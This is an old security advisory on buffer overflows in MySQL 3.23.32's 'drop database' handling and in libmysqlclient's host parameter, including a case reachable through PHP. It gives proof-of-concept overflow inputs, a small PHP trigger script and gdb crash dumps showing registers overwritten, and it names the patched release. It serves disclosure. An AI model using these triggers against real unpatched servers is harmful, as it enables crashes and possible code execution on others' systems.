COMMAND
MySQL
SYSTEMS AFFECTED
MySQL
PROBLEM
Joao Gouveia found following. There still are some potential
security flaws with MySql lastest stable release. Following are
some tests made all with:
MySql v3.23.32
PHP v4.0.4pl1 (static)
apache-1.3.14
Problem 1
=========
On one term:
spike:~ # gdb /home/jroberto/httpd/mysql/libexec/mysqld
(...)
(gdb) run
Starting program: /home/jroberto/httpd/mysql/libexec/mysqld
[New Thread 2500 (manager thread)]
[New Thread 2499 (initial thread)]
[New Thread 2501]
/home/jroberto/httpd/mysql/libexec/mysqld: ready for connections
On the other:
roberto@spike:~ > mysql -ublaah (Note: 'blaah' obviously isn't a valid
username)
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1 to server version: 3.23.32
Type 'help' for help.
mysql> drop database
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
On the first term we got:
Program received signal SIGSEGV, Segmentation fault.
strcmp (p1=0x41414141 <Address 0x41414141 out of bounds>, p2=0x8216d78
"jroberto")
at ../sysdeps/generic/strcmp.c:38
38 ../sysdeps/generic/strcmp.c: No such file or directory.
(gdb) bt
#0 strcmp (p1=0x41414141 <Address 0x41414141 out of bounds>, p2=0x8216d78
"jroberto")
at ../sysdeps/generic/strcmp.c:38
#1 0x8105b05 in acl_get ()
#2 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb) inf reg
eax 0x8216d78 136408440
ecx 0x0 0
edx 0x8216d78 136408440
ebx 0x8217108 136409352
esp 0xbf5ff958 0xbf5ff958
ebp 0xbf5ff95c 0xbf5ff95c
esi 0x41414141 1094795585
edi 0x0 0
eip 0x4014d37c 0x4014d37c
eflags 0x10206 66054
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb)
By default, MySQL installs with the database 'test', and any user
logged onto localhost (i.e. users having a shell account on the
system) may connect to MySQL and start manipulating this and any
other database having a name starting with 'test_'. These users
are considered "anonymous" users in MySQL. They do *not* have to
be defined as MySQL users in order to do this. So the overflow in
"drop database" can only be used by users of mysql which is anyone
with a shell account on the system running MySQL, unless the
administrator has done the only wise thing, namely dropped the
test database and deleted the anonymous user from the MySQL user
definition.
Problem 2
=========
MySql client that ships with the MySql package has a buffer
overflow situation on the "host" user suplied input (among other
paramaters, but this one can be critical).
jroberto@spike:~/httpd/mysql/bin > gdb mysql
(...)
(gdb) run -h`perl -e'printf("A"x200)'`
Starting program:
/home/jroberto/httpd/mysql/bin/mysql -h`perl -e'printf("A"x200)'`
Program received signal SIGSEGV, Segmentation fault.
0x4006ecf3 in mysql_real_connect () from
/home/jroberto/httpd/mysql/lib/mysql/libmysqlclient.so.10
(gdb) bt
#0 0x4006ecf3 in mysql_real_connect () from
/home/jroberto/httpd/mysql/lib/mysql/libmysqlclient.so.10
#1 0x41414141 in ?? ()
(gdb) inf reg
eax 0x8078d60 134712672
ecx 0x3 3
edx 0x8078d94 134712724
ebx 0x40084324 1074283300
esp 0xbffff328 0xbffff328
ebp 0xbffff6b4 0xbffff6b4
esi 0x8076e11 134704657
edi 0x41414141 1094795585
eip 0x4006ecf3 0x4006ecf3
eflags 0x10203 66051
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb)
Ok, this aparently doesn't look dangerous because mysql client is
not setuid/gid. But.. the problem is that php when compiled with
mysql support links to libmysqlclient.so to manage mysql
connections, thus allowing someone to explore this situation.
Let's look at a pratical example. A simple php script:
<?
for ( $i=0 ; $i<= $buffer-1 ; ++$i )
$host.="A";
$cid = mysql_connect($host,$usr,$pwd);
?>
Let's run apache (latest version compiled with latest version of
PHP) in debugging mode to see what hapens:
spike:~ # gdb /www/bin/httpd
...
(gdb) run -X
Starting program: /www/bin/httpd -X
On our browser we issue: test.php?buffer=120. gdb shows the
following:
Program received signal SIGSEGV, Segmentation fault.
0x40030cf3 in mysql_real_connect () from
/home/jroberto/httpd/mysql/lib/mysql/libmysqlclient.so.10
(gdb) bt
#0 0x40030cf3 in mysql_real_connect () from
/home/jroberto/httpd/mysql/lib/mysql/libmysqlclient.so.10
#1 0x41414141 in ?? ()
(gdb) inf reg
eax 0x82010c0 136319168
ecx 0x3 3
edx 0x82010f4 136319220
ebx 0x40046324 1074029348
esp 0xbfffdc30 0xbfffdc30
ebp 0xbfffdfbc 0xbfffdfbc
esi 0x8204ba5 136334245
edi 0x41414141 1094795585
eip 0x40030cf3 0x40030cf3
eflags 0x10203 66051
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb)
Looks like another nasty problem.. Ok, this can only be exploited
if we can use our own php script. Still, it can be used, for
example, to execute commands as the httpd user in case of PHP
beeing run on safe_mode. Also there are many PHP based
aplications that do not take the proper security efforts to avoid
user suplied input, making this possible to exploit remotely. Of
course that every aplication that uses libmysqlclient probably
will be affected by this.
SOLUTION
MySql version 3.23.33 has been released, addressing this latest
problems.